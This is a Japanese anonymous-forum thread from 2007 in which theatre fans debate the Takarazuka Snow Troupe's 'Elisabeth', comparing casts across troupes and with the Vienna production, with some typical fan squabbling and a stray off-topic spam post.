>321
私は今までエリザをただのラブストーリーと感じたことはなかったけど、
今回の雪エリザは主役2人がただのラブストーリーにしか見えなくて、
正直がっかりの極致だった。
エリザに関する議論なんて今までもさんざんしつくされてますよ。
あなたはここまで議論を呼び起こした雪エリザはすごい！と言いたいみたいですが。
本質を捉えるどころか、本質とは程遠かったというのが私の感想です。
ウィーン版のエリザベートは素晴らしかったですよ。歌も芝居もその表現力も。
音楽に対する理解の深さ、時代を捉える感受性の高さ。
なるほど宝塚よりも倍の値段だけの価値があると思いました。
水さんととなみちゃんには何故普通のラブストーリーではなく「エリザベート」なのか。
その本質をもう一度見直して欲しいです。
ゆみこさん、キムちゃん、はまこさんが素晴らしかっただけに、足を引っ張るトップコンビが本当に恨めしかった。

326 ：名無しさん＠花束いっぱい。：2007/06/19(火) 23:20:59 ID:maD77Fpe

>325
ほぼ胴衣。
ゆみこ、キム、はまこの好演に支えられて、それなりのエリザには仕上がってたけどね。
主演のトートとシシィが足を引っ張るなんてね。
どちらもキャリアに不足があるわけじゃなし、一体今まで何をしてたのか？って感じ。

ウィーン版で改めて思ったのは、主役がやっぱり一番力がある。
（単なる実力じゃなくて、舞台を引っ張っていく力）
宝塚も、舞台芸術のはしくれだから、そうあるべきだと思う。
なのに、なぜか今回の雪エリザは、下ががっちり支えたけど、主役二人は重く乗っかって、本来の盛り上がりを下げたって感じ。
ゾフィーじゃないけど、「謙虚になるのよ～♪」を主役二人には捧げたい。

327 ：名無しさん＠花束いっぱい。：2007/06/19(火) 23:24:28 ID:PLu60lR6

321は釣り？噛みつかれるだろうなと思ったら案の定だねw
でも５組一巡して比較論がしやすくなったという点で議論は多かったと思う
それにウィーン版のリアルさとの比較論も多かった

325はウィーン版を絶対化しているが、宝塚版のユニークさを愛す人も多い
ラブストーリーにしか見えない人もいていいし
それ以上に見えたというのも見た人の感想だから否定はできないでソ

328 ：名無しさん＠花束いっぱい。：2007/06/19(火) 23:28:17 ID:1nLLPHIO

>327
321は、ミズファンだと思うよ。
一部に存在する、頭の悪い、バッシングを呼ぶカキコばっかりしてる
自分では気が付いてないけど、ミズの足を引っ張り
他のまっとうなミズファンに迷惑を掛けてる、イタイミズファンでしょ。
それにここでのフォローはもういいよ。
ここはミズアンチ隔離スレでもあるから。

329 ：894：2007/06/19(火) 23:30:55 ID:c64RSKJz

>ゾフィーじゃないけど、「謙虚になるのよ～♪」を主役二人には捧げたい

……？
捧げられんでも、ふたりは支えられてる事をちゃんと分かってるのでは。
真ん中に立てば、今まで以上に舞台を作り支えてくれる全員の力を感じるものでしょう。
盛り下げたと感じたひとも居れば、十分エリザとして楽しめたひとだっている。
自分の感想だけが真実みたいに語っちゃ駄目だろう。

330 ：名無しさん＠花束いっぱい。：2007/06/19(火) 23:35:05 ID:gw82/blC

>自分の感想だけが真実みたいに語っちゃ駄目だろう
その言葉をそっくり321に捧げたいｗ

331 ：名無しさん＠花束いっぱい。：2007/06/19(火) 23:35:20 ID:PLu60lR6

>328
○○ファン決めつけはアラシだけど？

332 ：名無しさん＠花束いっぱい。：2007/06/19(火) 23:36:35 ID:r/YTz8XC

少し前に隣板のウィーン版スレで、日本版との比較でかなりの激論が展開されてた。
過激な事言う熱狂的ウィーン版信者もいたけどｗ　なかなか興味深かったよ。
各国でさまざまなバージョンが存在するエリザベートという作品の
懐の深さを知らされた感じだった。

自分の中ではウィーン版と宝塚版、東宝版はルーツは同じでも全部別扱いだったのが
日本でウィーン版と宝塚版がほぼ同時期に上演されたのをきっかけに、それぞれの良さを再確認できた。
最初聞いたときは「え、本家とぶつけるなんて宝塚もいい度胸…ｗ」とか思ったけど
雪組もすごく頑張ったと思うし、今となっては色々面白かった。
こんなことでもなければ、そもそも比較しようとも思わなかったよｗ

333 ：名無しさん＠花束いっぱい。：2007/06/19(火) 23:47:03 ID:PLu60lR6

ルカス・ペルマンが豪華フィナーレに驚き、綺麗な黒天使たちをナイスアイデアと誉めていたそうだ。
宝塚ならではのよさはビジュアルも大きいことをわかってもらえたのが嬉し！

334 ：名無しさん＠花束いっぱい。：2007/06/19(火) 23:49:55 ID:jdGP9bXj

>332　ふたつ、どう違う感想持ったか教えて。（素直です）
ウィーン版観てなくて本当残念だ。

335 ：名無しさん＠花束いっぱい。：2007/06/20(水) 00:18:09 ID:RgzSBcAc

ウィーン版はシシィのすさまじい自我とハプスブルク家を取り巻く状況の厳しさが
印象的だったな
ファシズムの台頭とかミルクの民衆の貧しさとか
だから皇室内部だけの問題で放浪したというより、状況から逃げ出したシシィにも見えた

トートも強烈。切なさなしwシシィの死はまるで略奪愛のような恐さ
宝塚版はシシィの内面ではあるけれど、あくまでも折り合いつけるから合意の恋愛かな
昇天でシシィが寄り添う姿を見慣れてたから、死体になって運ばれるシシィには口開けっ放しだった
でもどっちも大好きだよ。別物というか、国民性の違いだなとひしひし感じた。

336 ：名無しさん＠花束いっぱい。：2007/06/20(水) 00:28:54 ID:A2abFLka

エリザいいなーやっぱ

337 ：名無しさん＠花束いっぱい。：2007/06/20(水) 00:43:22 ID:LS9fMetr

本物の男性が演じる舞台と女性だけの宝塚との違いは大きいだろうね。
宝塚の特性をうまくいかせた宝塚版のエリザは
エリザの世界の神秘さや官能美を最大限にひきだせる舞台という点では文句ない。
力強さは本場ウイーン版には及ばないが、クンツエ氏が
「これはエリザベートと死の愛の物語」だと語っただけあるこのエリザベートという作品を
一番素直に描いたのは宝塚版なのかもしれない。

338 ：名無しさん＠花束いっぱい。：2007/06/20(水) 00:54:56 ID:e1vhQeeF

>329
当たり前じゃん、支えられてることを知ってるのは。
「謙虚になるのよ～♪」の意味はそうじゃない。
本来は先頭に立って舞台のレベルを上げるべき主役二人が
むしろ組子達の足を引っ張る様なできの舞台だったことに自覚が欲しいってこと。

楽のトートご挨拶にはそういう認識はみじんも感じられなかったからね。
後半の客入りが上がってうれしかったってのは別にいい。
だけど、それに甘えず更にハイレベルを目指すって感じじゃなくて
既に自信満々で「東京では雪組旋風を～」ってちょっと違うんじゃないか？ってこと。
あの程度の出来で自信持つようじゃ、今後のレベルアップはないね。

ファンもファンなら、生徒も生徒で勘違いする人なわけか・・・
楽しんだ人も多数いることぐらい判ってる。
だが、平日とはいえ、ムラ楽にサバキ多数だったってことは
リピーターには、その程度の評価だってことをもうちょっと「謙虚に」自覚して欲しい。

339 ：名無しさん＠花束いっぱい。：2007/06/20(水) 00:58:31 ID:9xmjuz4G

>337
素直すぎて深み全く無いけどね。
特に今回の雪エリザ。
ゆみキムハマコに本当に救われてる。

340 ：名無しさん＠花束いっぱい。：2007/06/20(水) 01:40:26 ID:RgzSBcAc

『エリザベート』の面白さを語るスレかと思ったら、ただの雪エリザへのアンチスレなんだ？
やだね。隣板に戻ろ。

341 ：名無しさん＠花束いっぱい。：2007/06/20(水) 01:47:36 ID:T8ZC7//o

トップ二人、ユミコは現在の役として、ハマコルキーニ、キムルドルフ、
テルエルマー、ヒロミ黒天使＆マデレーネで良かったんじゃ。

342 ：名無しさん＠花束いっぱい。：2007/06/20(水) 01:54:10 ID:KpGWdXJr

今回、鳥さんのダンス下手すぎないか？

343 ：名無しさん＠花束いっぱい。：2007/06/20(水) 01:58:53 ID:KpGWdXJr

>>321
悪いけれど、役のとらえ方、掘り下げ方なんて、散々なされていますし、
今回の主演コンビ、ちっとも良くないよ。
あまり褒めるところがないから、苦肉の策で、ファンが想像力働かせているだけ？

世界観がわかった、と言えば、やっぱりウィーン版が断然深いし、
（だからといって、他を否定するつもりはないけれどね）
文化的バックグラウンドを感じさせた。

344 ：名無しさん＠花束いっぱい。：2007/06/20(水) 06:13:52 ID:RUqFkbMD

338こそ謙虚になりなさい。えらそうに最もらしく語るんじゃないよ。
端から否定してかかった、只の負け犬の遠吠えにしか聞こえないって。

345 ：名無しさん＠花束いっぱい。：2007/06/20(水) 07:10:54 ID:RUqFkbMD

＝343

346 ：名無しさん＠花束いっぱい。：2007/06/20(水) 07:33:45 ID:g81sYtjc

>>344
観客が謙虚になる必要は無いんじゃないか。
舞台から感動を得たいと思って観るんだろう？
そこで得た感想を書くことに謙虚もなにもない。
思ったことを書けばいいんだよ。
ところで「負け犬の遠吠え」がなんでここで出てくるのか意味不明なんだが。
誰が「勝った犬」なんだ？

347 ：名無しさん＠花束いっぱい。：2007/06/20(水) 08:44:55 ID:njvjrRwW

主演二人は、出来る組子に支えられて、自分達のエリザ像、トート像を
作り上げていて、評価できたけどなぁ。
特にトートは、オリジナリティ溢れる役作りだから、
生理的に受け付けない人がいるのも理解できるけどね。

「エリザという舞台には、正解がない。」

348 ：名無しさん＠花束いっぱい。：2007/06/20(水) 08:49:53 ID:RUqFkbMD

観客？感想？
そもそも、そういうレベルのｶｷｺ見あたらないけど

349 ：名無しさん＠花束いっぱい。：2007/06/20(水) 08:53:14 ID:rsrMVieG

私の感想は違うな。
主演二人が良くなるの連れ、皆も変わって行った。
回数見たから、それがよくわかった。
こんなところで、雪を褒めてもアレだけど、良かったよ。

生理的に受け付けない、という意見は、どの組にもそう言う人はいるはずなので
雪だけに限らないと思った。あえて、そんなことは言わないけれど。

東京では、もっと変わるだろうね。報告ﾖﾛ。

350 ：名無しさん＠花束いっぱい。：2007/06/20(水) 08:54:25 ID:xjKhaUrK

なるほど

ミズファンが、
その他トート歴任ファンを刺激しましたの図なのねｗ
>>321
気にすることないよ。

水は水で、他の閣下はその閣下なりに、
がんばっていた！　で、それぞれのファンも
いろいろ刺激されて、議論したってことでおｋ！

351 ：名無しさん＠花束いっぱい。：2007/06/20(水) 09:05:08 ID:njvjrRwW

321がミズファンってどうして決め付けるの?
ここでは、「○○ファンは」ってのは煽り認定ﾃﾞｿ。

352 ：名無しさん＠花束いっぱい。：2007/06/20(水) 09:20:25 ID:R7hOqTKR

>他の閣下はその閣下なりにがんばっていた！
「～なりに」という言葉を使うとはねぇ、おそれ入谷の鬼子母神w

顎足付きで招待されてる人が、招待元を絶賛するのは
当たり前田のクラッカーw　　スタンディングもしてやりゃよかったのにw

353 ：名無しさん＠花束いっぱい。：2007/06/20(水) 09:26:50 ID:RgzSBcAc

352　日本語でおｋ？

354 ：名無しさん＠花束いっぱい。：2007/06/20(水) 10:07:02 ID:c5S2PK8r

これは最後だろ

355 ：名無しさん＠花束いっぱい。：2007/06/20(水) 12:56:10 ID:/Ybu9xI0

雪ファンて殺伐としてるなぁｗ
まーアンチ生み出したりとにかくひどいね。
雪にいる生徒さんがカワイソス

356 ：名無しさん＠花束いっぱい。：2007/06/20(水) 13:40:42 ID:9Nk/cdJv

カワイソウなのは、雪ファンに嫌われてるミズファンだろ。
他の生徒の名前わざわざ出さんでよろしい。

357 ：名無しさん＠花束いっぱい。：2007/06/20(水) 15:11:41 ID:rsrMVieG

別に殺伐としてないよ、純粋雪ファンは。
アンチがふらりと寄って、書き込みするから、荒れるだけ。
放っておいて。

358 ：名無しさん＠花束いっぱい。：2007/06/20(水) 15:56:10 ID:AVAmnWkM

>主演二人は、出来る組子に支えられて、自分達のエリザ像、トート像を
作り上げていて

ミズはそうだな。
雪組がどっしりと揺ぎ無いからあのトートで押し通せたんだろう。
途中あまりの入りの悪さに腰引けたかと思える時期もあったけど、
又当初の雰囲気に戻ったし。
歌のフォローもばっちししてもらって、ラッキーだよ。

となみは正直未だにどうしたかったのかわからん、
ハマコが元々の役作りを譲歩してやったようにしか思えん。

359 ：名無しさん＠花束いっぱい。：2007/06/20(水) 16:12:00 ID:aSgSOFSQ

ブタ切りでごめんなさい。
エリザベートのロケットで、一列に並んだときに右から5番目にいた方はどなたですか？？

360 ：名無しさん＠花束いっぱい。：2007/06/20(水) 16:20:01 ID:rsrMVieG

となみちゃん、終盤すごく良くなったんだよ。
アサコのときは、「よく頑張った」と泣けたけど
となみのは、エリザの決意が感じられて、泣けた。
どの組も良いよ。

361 ：名無しさん＠花束いっぱい。：2007/06/20(水) 16:25:42 ID:AVAmnWkM

>>360
そうか、ごめん。
東京は行けないので、ＤＶＤを楽しみにしてるよ。

362 ：名無しさん＠花束いっぱい。：2007/06/20(水) 16:37:46 ID:tc7VZiq1

他組のエリザも見たいと思って、月エリザ見せてもらったんだけど、
瀬奈じゅんのシシィが力強くて好きだった。ちょっと体格良いけど、なんか可愛いのな。

363 ：名無しさん＠花束いっぱい。：2007/06/20(水) 18:43:12 ID:rsrMVieG

>362 打ち明けると、しばらくアサコシシィを携帯待ち受けにしてました・・・。

364 ：名無しさん＠花束いっぱい。：2007/06/20(水) 20:54:06 ID:LS9fMetr

ｴﾘｻﾞ役はｵｽｶﾙみたいに男役がやればいいんじゃない？あさこがよかったわけではないから間違えないで。
体格がいい方がなお凛としてみえるし、ｻﾊﾞｻﾊﾞみえるし貫禄もある。
ｴﾘｻﾞは繊細さより大胆さを要求される役。ﾄｰﾄはｸｰﾙさを前面にだしながら内面は繊細。

365 ：名無しさん＠花束いっぱい。：2007/06/20(水) 21:04:00 ID:fnwG3luf

まぁ好みは色々だとは思うけど

ゴツイあさこシシィは、かんべんして～～！！だったな。
ミズトートもはじめは、カンベンして～だったけど
見慣れたのか少し愛着がわいて来た。

366 ：名無しさん＠花束いっぱい。：2007/06/20(水) 21:23:17 ID:dg2sCLQp

アサコ、男役は格好いいけど
シシィは・・・単なるおば○んに見えた・・・

367 ：名無しさん＠花束いっぱい。：2007/06/20(水) 22:43:44 ID:kJ0emlfb

>>363
ﾅｶｰﾏｗ

あさこシシィ初め見たときゴツクてあれれ？と思ったけど
表情が良くて笑顔が凄く可愛かったのでハマってしまった
人間的にあったかい人って感じがした

368 ：名無しさん＠花束いっぱい。：2007/06/20(水) 22:54:20 ID:MVBIuP2B

そういや月エリザには2番手格が3人もいたのだなぁー
　・次期トップ2番手（あさこ）
　・公演2番手（がいち）
　・組内2番手（きりやん）

369 ：名無しさん＠花束いっぱい。：2007/06/21(木) 00:09:58 ID:O503E5zJ

きりやんは組内3番手

370 ：名無しさん＠花束いっぱい。：2007/06/21(木) 00:14:21 ID:xG/GXvq4

369はもしや２番手はゆうひさんとでも言う気でしょうか？

371 ：名無しさん＠花束いっぱい。：2007/06/21(木) 00:35:26 ID:wAL6X0l5

>370
ｱｻｺはｴﾘｻﾞの時点では既に月組子だよ
女役やってたとはいえ組内２番手はｱｻｺ、と言いたいんでねーの？369ﾀﾝは

372 ：名無しさん＠花束いっぱい。：2007/06/21(木) 00:38:56 ID:iVRrbwIf

え、私の記憶では特出って形だったような？
組子だったっけ？

373 ：名無しさん＠花束いっぱい。：2007/06/21(木) 00:45:11 ID:ZZe4z6tJ

>>372
組子だったよ。
娘トプ。

374 ：名無しさん＠花束いっぱい。：2007/06/21(木) 00:50:36 ID:xG/GXvq4

む、娘トプだったの？

>371
おぉ、トンです。そういう意味か。失礼しました～。

375 ：名無しさん＠花束いっぱい。：2007/06/21(木) 00:54:10 ID:iVRrbwIf

>>373
私も記憶違いしてて、人のこと言えないけど、
娘１じゃないでしょが・・・あくまで娘１は不在。
冗談だったらｽﾏｿー。

376 ：名無しさん＠花束いっぱい。：2007/06/21(木) 13:31:26 ID:sk4/elDb

あさこは座長だったな。

377 ：名無しさん＠花束いっぱい。：2007/06/21(木) 14:38:25 ID:TU1Cx2Tj

頭の中をエリザベート楽曲が支配中。

カラオケでエリザベート（宝塚歌詞）って歌える所ありますかね？
一人で歌いまくりタイデス。( ・∀・)

378 ：名無しさん＠花束いっぱい。：2007/06/21(木) 14:43:50 ID:FLItS1e1

UGA入ってるとこなら「最後のダンス」と「私だけに」と「夜のボート」が歌えたはず。
ただ、「夜のボート」はフランツのソロバージョンだったと思う。

379 ：名無しさん＠花束いっぱい。：2007/06/21(木) 15:04:36 ID:TU1Cx2Tj

ＵＧＡですね。ありがと～～～～！(≧∇≦)b 歌ってきますー！

「私だけに」は超名曲ですね♪

380 ：名無しさん＠花束いっぱい。：2007/06/21(木) 21:14:16 ID:vfXUWhLm

>>285
リカのルキーニもど下手だったんだけど・・・。
ついでにベルばらの歌もダンスも、ワタルはど下手でしたけど・・・。
ワタルはトップになっても退化し続けたし、授業のせいとは違うでしょ。

381 ：名無しさん＠花束いっぱい。：2007/06/21(木) 21:27:11 ID:57MXRmyT

>>378
JoySoundもありますよ

愛と死の輪舞（ロンド）
http://joysound.com/ex/search/karaoke/_selSongNo_86628_song.htm
エリザベート～夜のボート
http://joysound.com/ex/search/karaoke/_selSongNo_86630_song.htm
最後のダンス
http://joysound.com/ex/search/karaoke/_selSongNo_121793_song.htm
私だけに
http://joysound.com/ex/search/karaoke/_selSongNo_86629_song.htm
闇が広がる
http://joysound.com/ex/search/karaoke/_selSongNo_34956_song.htm

382 ：名無しさん＠花束いっぱい。：2007/06/22(金) 00:55:38 ID:5QY+ckjy

>>285
ワタルのダンスが、タータン、じゅりより上に見えるなんて。。。

383 ：名無しさん＠花束いっぱい。：2007/06/22(金) 01:07:25 ID:lU835yD9

瀬奈シシィはさすが男役だけあって、手足長ーくてドレス栄えバッチリでした。
以外にも初々しく可愛かったし。娘役だとチト物足りなく感じてしまう。

384 ：名無しさん＠花束いっぱい。：2007/06/22(金) 11:25:06 ID:Vx6jkzxu

わたるルキーニは・・・髭が・・・髭面が・・・(言い方悪いが)汚い・・・

本人に似合う似合わない以前に、他のルキーニより髭つけてる面積が広かったような。

やっぱり理事かきりやんだなぁ・・・
あさこは見た目高嶋兄のルキーニを思い出す。

385 ：名無しさん＠花束いっぱい。：2007/06/22(金) 11:55:47 ID:OmgSi1gI

>>381
ありがとうございます！そうかー今時ネットで検索も出来るのですね。　＞ｎ＜

386 ：名無しさん＠花束いっぱい。：2007/06/22(金) 12:46:11 ID:O8iI7Tu7

次は星組か！！？？
みんな、なんとなく役はに会うと思うんやが。。。
トップ以外歌が心配なんやが。。。
もし、とうこ、あすかでやるなら
トップ以下の組み替えを希望します！

387 ：名無しさん＠花束いっぱい。：2007/06/22(金) 13:04:14 ID:O8iI7Tu7

>380
そうか？？
リカのルキーニ俺は好きやったんやけどね☆

>382
見させてくれw
つか、うまいとは言ってない
わたるステップも一つやしねw
あの長い脚と手で踊るのはやっぱカッコイイ！

>384
ファンやけど、全て（歌、演技、ビジュアル）
に対して真顔になた

個人的にエリザは初代雪が好き
てか、観たい！
え？なんで観に行かへんかったて？

そのころ中二くらいやったからねorz

388 ：名無しさん＠花束いっぱい。：2007/06/22(金) 13:08:17 ID:O8iI7Tu7

285
ごめんsage忘れた

389 ：名無しさん＠花束いっぱい。：2007/06/22(金) 13:32:23 ID:3tdBpbXz

見る価値のない雪エリザ

390 ：名無しさん＠花束いっぱい。：2007/06/22(金) 14:44:45 ID:eAiVO5Do

それじゃ頼むから東宝チケットをゆずってくれい！
現在0枚。ピンチ。

391 ：名無しさん＠花束いっぱい。：2007/06/22(金) 15:35:12 ID:uVvSIMpN

私は今回の雪組が一番キャスト的にも好きだったな。となみエリザ良かったと思った。人それぞれの感性があると思うけど。

392 ：名無しさん＠花束いっぱい。：2007/06/22(金) 16:37:14 ID:e03EIFFb

391ﾀﾝと同意見。
最初は、思ってなかったのに、見終わったらすべての配役に満足。

393 ：名無しさん＠花束いっぱい。：2007/06/22(金) 18:58:28 ID:PklnDte5

一巡目のエリザはねぇ主要な役に関して
組によってすごく気に入ってる配役と、好みじゃない配役との間で差が大きいの。
だから両手を挙げて○組のが好きと言いにくかった。
今回の新雪エリザは主要な役がすべて平均点以上自分の好みに合っている。
みんな最低でも７０点以上はクリアしてるという感じ。
気持ち的にネックになる配役がないから好きとはっきり言える。
今回好みのエリザが出来て良かった。

394 ：名無しさん＠花束いっぱい。：2007/06/22(金) 19:55:47 ID:XXdl6XXZ

今までのと比べたら、色々良いとこ悪いとこ有るけど、楽しめました。
かなり、好きで嵌ってしまいました。

そして、周りにいるOGさん何人かに聞くと
男役だった人は、水トートが×、となみエリザベートは○
娘役だった人は水トートは○、エリザベート×って言ってましたw

395 ：名無しさん＠花束いっぱい。：2007/06/22(金) 20:36:47 ID:HDtJOBAI

>>393
胴衣なんだけど、
それが逆におとなしめに見えてインパクトにかけるかな。

396 ：名無しさん＠花束いっぱい。：2007/06/22(金) 21:24:40 ID:pWAfY6d6

ゾフィーの『安産形だわ。』の手のフリが好き。

397 ：名無しさん＠花束いっぱい。：2007/06/22(金) 21:34:57 ID:VcxN7TCa

おかまシシィは、イヤだ！
妖怪トートも絶対　イヤ！！

次回は納得キャストで、夢を見させてほしい。

398 ：名無しさん＠花束いっぱい。：2007/06/22(金) 21:59:44 ID:lsrgcUho

>>383
(　ﾟдﾟ)　　　ポカーン
(　ﾟдﾟ)　　　ポカーン
(　ﾟдﾟ)　　　ポカーン

399 ：名無しさん＠花束いっぱい。：2007/06/22(金) 22:07:42 ID:kopwJgIb

あさこファンが必死に可愛かったとここでいっても……
みんなブスってわかってるから～(´・ω・｀)

400 ：名無しさん＠花束いっぱい。：2007/06/22(金) 22:11:11 ID:XDls4Tys

>>383
(~ ~)　　ナットク
(~ ~)　　ナットク
(~ ~)　　ナットク

401 ：名無しさん＠花束いっぱい。：2007/06/22(金) 23:21:08 ID:/wcP8kkp

>>395は
>>393の文章の意味が理解できてないみたいね。
主要な配役の「好み」度が「最低でも70点以上」と言っているのに
なんで「それが逆におとなしめに見えてインパクトにかける」ことになるの？
好みの役者が揃った芝居はおとなしめに見えるの？
役者の出来が平均点以上という意味と間違えてるんじゃない？
　　　　　　　　　　　　

402 ：名無しさん＠花束いっぱい。：2007/06/23(土) 13:23:47 ID:iF3yjYeW

393は、好みの役者が揃って良かったね。
ｼﾞﾌﾞﾝはなんせミズのトートは×。
歌は丁寧に歌ってて、さほど酷いとは思わなかったけど
声の迫力がなさすぎ。
シシィに対しても、ミルクでも、最終答弁でも、ここぞという場面が全部盛り上がり切らなくて見ていてイライラした。
見た目も好みじゃなかったし。

となみのシシィは演技は×だったけど、見た目はｼﾞﾌﾞﾝ的には○だった。

それ以外の主要キャストは全部好みだったけど、やっぱり全部がバッチリなエリザは、過去同様にないな～とｵﾓﾀ。

403 ：名無しさん＠花束いっぱい。：2007/06/23(土) 16:06:31 ID:6Km7yfPI

シシィとの対決は緊迫感があって、歌唱としても迫力があったのど
私は好きだったな～。
ミルクも、扇動の仕方が、誘い込むような歌と演技で
新鮮なアプローチだった。
ルックスは、クールで峻厳で妖しくて、非人間的な存在感が
際立ってて、衣装がどれも似合ってて、かっこよかった。

404 ：名無しさん＠花束いっぱい。：2007/06/23(土) 20:15:12 ID://wnXNOG

ミルクのとこで最後にトートがこぶしを振り上げて歌にもこぶしを入れるのが
イチロさんの時はあってそれ以降のトートがなかったのが残念だったが、
ミズトートで復活しててやったー！と思った

が、大劇場公演最後の方になったらなくなってた…
あれ喉に負担がかかるのか？

405 ：名無しさん＠花束いっぱい。：2007/06/23(土) 20:52:46 ID:HdN5PBTC

>404
たぶんＤＶＤ収録では、その歌い上げで残ってる。
東宝も、喉の調子がいいときはそのアレンジで歌うと思う。

406 ：名無しさん＠花束いっぱい。：2007/06/23(土) 22:48:53 ID:PcXAAimP

ミルクの場面、トートとルキーニとの声質ってか歌い方ってか
歌の方向性がまるであってない。
だから違和感が先に立ってキモチが高揚しないんだよな…。

407 ：名無しさん＠花束いっぱい。：2007/06/23(土) 22:49:17 ID:AyMcuAsG

来るなら来いバカウヨども！！　　徹底的に論破してやる！！！

http://society6.2ch.net/test/read.cgi/kokusai/1181745431/l50

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408 ：名無しさん＠花束いっぱい。：2007/06/23(土) 23:31:06 ID:uyhKgOUG

>404
ｲﾁﾛのｱﾚ、漏れは「３段上げ」つってるw

一番低い音域辺りから「掴み取ろ」の所で２段階くらい音域上げて、
最後の「う」で節入れてもう一段音上げてる感じだからw

ﾏﾘｺ、ｽﾞﾝｺは最後のひと上げなし、なのは知ってたけど、
ｵｻとｻｴｺもなしがﾃﾞﾌｫだったんだね(´･ω･｀)

漏れも最後にもう一節あるほうがなんかｽｺｰﾝと突き抜ける感じがして
好きだったよ

409 ：名無しさん＠花束いっぱい。：2007/06/24(日) 00:48:59 ID:/rH8fAqM

あれ？さえちゃんは上げてなかったっけ？＜掴み取ろう

410 ：名無しさん＠花束いっぱい。：2007/06/24(日) 00:52:15 ID:1xknFZqr

>409
あげてはいるけどこぶしをきかせてはいない

411 ：名無しさん＠花束いっぱい。：2007/06/24(日) 01:19:11 ID:bDHbx7MR

>>406
その違和感に禿胴。
歌えるのは分かったから、マジで空気嫁…キム！！

412 ：名無しさん＠花束いっぱい。：2007/06/24(日) 01:24:38 ID:OJbfzR5U

オレはミルクの場面はやっぱ閣下にはシャウトしてほしいな。
民衆を扇動し一気に牙をむくようにガツンと歌ってほしい。
それにあの場面はここ２作の民衆が銀橋に出てくるバージョンより
テーブルに乗ったトートの周りで歌うバージョンのほうが好きだな。

413 ：名無しさん＠花束いっぱい。：2007/06/24(日) 01:40:53 ID:QEyTwCnE

ミルクの場面、今回のもOK
トートの姿は民衆には見えていなくて、見えない力に動かされている感じ。
トートは闇の帝王なので自らが先導するのではなく、あくまでも影の支配者ということを強調しているのがしっくりだったよ

414 ：名無しさん＠花束いっぱい。：2007/06/24(日) 07:50:27 ID:b8lDfPpp

>411
空気読まなきゃいけないのは水の方だろ。
水の歌がヘタレだから盛り上がりに欠けるんだから。
キムは一生懸命水のできなさを補ってるよ。

415 ：名無しさん＠花束いっぱい。：2007/06/24(日) 08:43:54 ID:FySHXY0I

ここって、煽り（真性もいるな）とそれにわざわざ乗っかりたい人が
てぐすね引いて待ってるところだね。

416 ：名無しさん＠花束いっぱい。：2007/06/24(日) 10:20:00 ID:jfWDITzd

>411
>414
連携ﾌﾟﾚｰ乙

417 ：名無しさん＠花束いっぱい。：2007/06/24(日) 13:28:03 ID:hMuh4s80

>>413
ミルクとか革命とか閣下には前線に出てほしくない。
煽ったらスッと消えて、盛り上がったところで闇から出てくるのがいい。
でも、トップの出番が減るからなあ。

418 ：名無しさん＠花束いっぱい。：2007/06/24(日) 16:32:15 ID:9il58vmP

とりあえず、
歌うまい人でミュージカルを！

419 ：名無しさん＠花束いっぱい。：2007/06/24(日) 18:36:19 ID:3Z53EKtx

>418
昨晩のＮ紙に「日本ミュージカル花盛り」ってタイトルのコラムに同意見が書いてあるよ。

今まさにミュージカルの時代であるって書き出しから始まるのに
四季と東宝（レ・ミッズ）のは作品名が上げてあるのに、宝塚のエリザは無視。
で
「今や歌えない俳優を観客の方がゆるすまい」と書かれてる。
はっきりくっきり、宝塚の歌えない主演者のミューはアウト！ってことだね。

420 ：名無しさん＠花束いっぱい。：2007/06/24(日) 19:08:10 ID:vRfipoGL

宝塚は女性のみで演じるので、
主演の歌のみで勝負したら、男性も混じる東宝やら四季には勝てない。
独自の魅力を打ち出した結果、エリザは宝塚の代表作になっているのでしょう。

421 ：名無しさん＠花束いっぱい。：2007/06/24(日) 20:02:24 ID:hMuh4s80

>>419
問題は劇団がどう考えているかだよなあ。
さえトートとみずトート連ちゃんするんだよ？
エリザにしても別の何かにしても次にミュージカルするのは
誰だろうね。

422 ：名無しさん＠花束いっぱい。：2007/06/24(日) 20:33:59 ID:++37Iag4

新聞のコラムだかって丸のみにしないほうがいいよ。
広告関係の持ち上げ記事をタイムリーにうまく出すからね。
その新聞の６月か７月に、四季か東宝の公演広告が大々的に載ってないか調べてみたら？
東宝と宝塚は仲良くないから、もし東宝からの広告費出てたら絶対宝塚はほめるはずないから。

423 ：422です：2007/06/24(日) 20:53:21 ID:++37Iag4

７月というのはこれからの広告掲載という意味ね。
ちょうちん記事をそれとなく紛れ込ませるのも新聞社や出版社のお仕事だから。

424 ：419：2007/06/24(日) 20:54:16 ID:TXNpINw1

>422
必死で否定してるのは、無視された歌下手主演者のファン？ｗ

四季や東宝は冒頭に紹介されてるだけで、コラムの趣旨は宣伝とは全く違う。
読んだら判るよ。
あんな紹介なら、女性のみだからって、ミュージカル花盛りの一例に
この夏に東京で上演されるのに宝塚のエリザだけ外されてるのは変だよ。
ただ、「歌えない云々」を書くなら、書けないだろうなとは思ったけどね。
歌えない人が主演の舞台は、コラムの趣旨に反するから。
このコラム欄、別の切り口じゃ、過去、宝塚も結構取り上げられてるけどね。

425 ：名無しさん＠花束いっぱい。：2007/06/24(日) 21:01:36 ID:++37Iag4

N紙ならよく知ってるよ
コラム書くのが無目的でピュアな啓蒙心だけだと思ってたらいいさ
力関係や意図のあるなしが深読みできるかできないかは個人差だし。

426 ：名無しさん＠花束いっぱい。：2007/06/24(日) 21:11:54 ID:LHpfJw3W

大評論家と自分で思っている方々で、
ヅカを馬鹿にしている人はけっこういる。

ジェンヌがうんぬんしか考えていないのだろうね。
ジェンヌが舞台に立つのだから、ジェンヌを無視はできないが、

良いスタッフで支えている舞台を、認めてないんだろう。

427 ：名無しさん＠花束いっぱい。：2007/06/24(日) 22:12:01 ID:N5SI4EC3

私は外のミューも観るけれど、ここで言われているほど水さんのﾄｰﾄ、
歌も下手じゃないよ。
なんというか、ここでは歌手じゃないと散々な言われようだけど
日本でミュー俳優と言える人はごくわずか。
水さんは、お芝居も含めた歌として、十分心に通じたし
良かったと思う。
自分たちで宝塚を貶めて、どうするのだろう。

428 ：名無しさん＠花束いっぱい。：2007/06/24(日) 23:57:41 ID:csV98aSu

評論家も結局のところ、自分の好みだからね。
ミューに限らず、映画でも何でも、そんなのに惑わされて、「行かない」ってなるのはもったいないと思う。
私は、今回の雪組さんエリザベートよかったです。
ウィーン版とは別のアプローチがすごく新鮮でした。

429 ：名無しさん＠花束いっぱい。：2007/06/25(月) 00:02:22 ID:N+DTN9jC

基本的には、全編歌のミュージカルは歌の上手い人がやるのがいいと思う。
ミズのトートは、そういう意味では意見が割れるところだわね。
本人的には、歌唱が飛躍的に上手くなってるけど、
エリザは再演も多く、東宝、ウィーン版と、いっぱいあるから
観る方にも好みが確立されてるから、客の見方が厳しいかも。

